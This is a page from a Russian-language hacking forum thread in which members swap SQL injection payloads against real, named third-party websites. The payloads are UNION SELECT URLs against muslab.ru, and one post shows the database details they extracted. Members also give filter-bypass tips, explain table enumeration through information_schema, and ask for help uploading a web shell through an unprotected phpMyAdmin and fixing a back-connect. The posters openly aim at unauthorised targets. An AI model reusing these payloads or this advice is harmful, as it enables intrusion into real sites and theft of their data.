Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 309 of 1207
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.muslab.ru/msg.php?msg_id=-166884+UNION+SELECT+1,2,3,4,5,6,7,8,AES_DECRYPT(AES_ENCRYPT(CONCAT_WS(0x3a,Version(),Database(),User()),0x71),0x71),10,11,12,13,14,15/*

    Database Version: 4.1.11-Debian_4sarge2-log
    Database name: k4dre_data
    User name: [email protected]

    не понял в чем проблема?
     
    #6161 Gorev, 28 Mar 2009
  2. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Бля писец проблему нашли!!! version() здесь просто фильтруется!!!

    Вот вывод:

    http://www.muslab.ru/msg.php?msg_id=-166884+union+select+1,2,3,4,5,6,7,8,unhex(hex(version())),10,11,12,13,14,15
     
    #6162 DrAssault, 28 Mar 2009
  3. Lutherion

    Lutherion New Member

    Joined:
    19 Nov 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    странно - я пробовал криптовать но нифига не выходило - видать где-то ступил
    сори ) и спс
     
    #6163 Lutherion, 28 Mar 2009
  4. Lutherion

    Lutherion New Member

    Joined:
    19 Nov 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    ну куле, бывает :D
     
    #6164 Lutherion, 28 Mar 2009
    Last edited: 28 Mar 2009
  5. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Не нужно писать чушь в перемешку с матом. О какой фильтрации ты говоришь? И что по твоему делает твой запрос? Обходит фильтрацию?
     
    #6165 Kakoytoxaker, 28 Mar 2009
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Jokester не злись, просто вот сюда http://forum.antichat.ru/thread104591.html всех надо посылать, благо много там познавательного
     
    #6166 Gorev, 28 Mar 2009
    1 person likes this.
  7. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Причём тут чушь? На мой взгляд дело в несовмеситимости кодировок, что можно обойти как вариантом предложенным Gorev'ым так и моим...
    Может я чёт невдупляю, так ты поясни в чём моя ошибка...
    Начёт мата, не знал что бл* матом считать то можно)
     
    #6167 DrAssault, 28 Mar 2009
  8. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    DrAssault Кодировка и фильтрация , это абсолютно разные вещи. Сдесь кодировка, а фильтрация так не обходится, и обходиться не может.

    Мои пояснения (в том числе по этому вопросу) можно увидеть по линку приведённому Gorev'ым в посте выше
     
    #6168 Kakoytoxaker, 28 Mar 2009
  9. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Подскажите плз, как быть.
    нашел незапороленный пхпмай адмни.
    Пытаюсь залить шел, пишет
    и как быть?
     
    #6169 Krist_ALL, 28 Mar 2009
  10. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Я понимаю, что это разные вещи, глянул бегло, получил вывод, но в подробности не вдавался, во втором посте дыбнул осмысленно и исправился...
    Эт ясно что сдесь кодировка, но что ты имеешь ввиду под словами "фильтрация так не обходится, и обходиться не может"? А если фильтруется version() к примеру?
     
    #6170 DrAssault, 28 Mar 2009
  11. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Под словами "фильтрация так не обходится, и обходиться не может" я подразумеваю фразу "фильтрация так не обходится, и обходиться не может", без всяких двусмысленностей и эвфемизмов . Тоесть данную фразу нужно воспринимать буквально, по написанию :)

    Если скрипт парсит GET , ну или любой массив , в котором ты передаёшь данные на предмет нахождения в нём строки "version", и завершает работу , при нахождении её (ну или режет\заменяет), то никакие унхексы, хексы и энкрипты ему не помешают это сделать.
     
    #6171 Kakoytoxaker, 28 Mar 2009
    1 person likes this.
  12. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    jokester приношу извинения, тупанул чёто я, видимо не в себе был) понял, что смотрозил, сегодня даже для пущей уверенности протестил) ты прав...
     
    #6172 DrAssault, 29 Mar 2009
    2 people like this.
  13. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Воистину те +10))
     
    #6173 Велемир, 29 Mar 2009
  14. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Ни разу не встречал.что версион() фильтруется,но вот ( и ) сто раз уже встречал))),а как обходить не придумал ).
     
    #6174 Велемир, 29 Mar 2009
  15. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    Так что с бекконектом-то делать ? Не забивать из-за unable to connect)
     
    #6175 Велемир, 29 Mar 2009
  16. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    На HackZona.ru к примеру режется version() ;) а как обходить ( и ) это уже зависит от конкретной ситуации...
     
    #6176 DrAssault, 29 Mar 2009
  17. LLIop0x

    LLIop0x New Member

    Joined:
    29 Mar 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    перечитал очень много всего, не могу найти ответ, как обойти подстановку суффикса (abc.) к имени базы при попытке перебора.

    пробую: UNION+SELECT+1,db+from+mysql.db+LIMIT+1,1/*
    выводит: test

    пробую:UNION+SELECT+1,id+from+test+LIMIT+1,1/*
    выводит: [Table 'abc.test' doesn't exist]

    буду благодарен тем кто поможет добить таргет: пишите в асю.
     
    #6177 LLIop0x, 29 Mar 2009
  18. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    2 LLIop0x:

    ))) Значение из колонки прежде чем выводить, имя таблицы узнай:

    UNION+SELECT+1,table_name+from+information_schema.tables/*
     
    #6178 Pashkela, 29 Mar 2009
  19. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    2 LLIop0x: если версия 4-я мускула, то только методом "тыка" подбирать таблички, если 5-я версия то способ который предлогал Pashkela
     
    #6179 Gorev, 29 Mar 2009
  20. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    Какой суффикс, че к чему? Ошибка тебе говорит о следующем, что таблици test в бд abc нет просто напросто и никакой это не суфикс, сначала узнай таблицу, а уж потом текущую БД к ней, соответственно, если версия пятая, если же 4, то тут жоперский-перебор...
     
    #6180 DrAssault, 29 Mar 2009
(You must log in or sign up to post here.)
Page 309 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.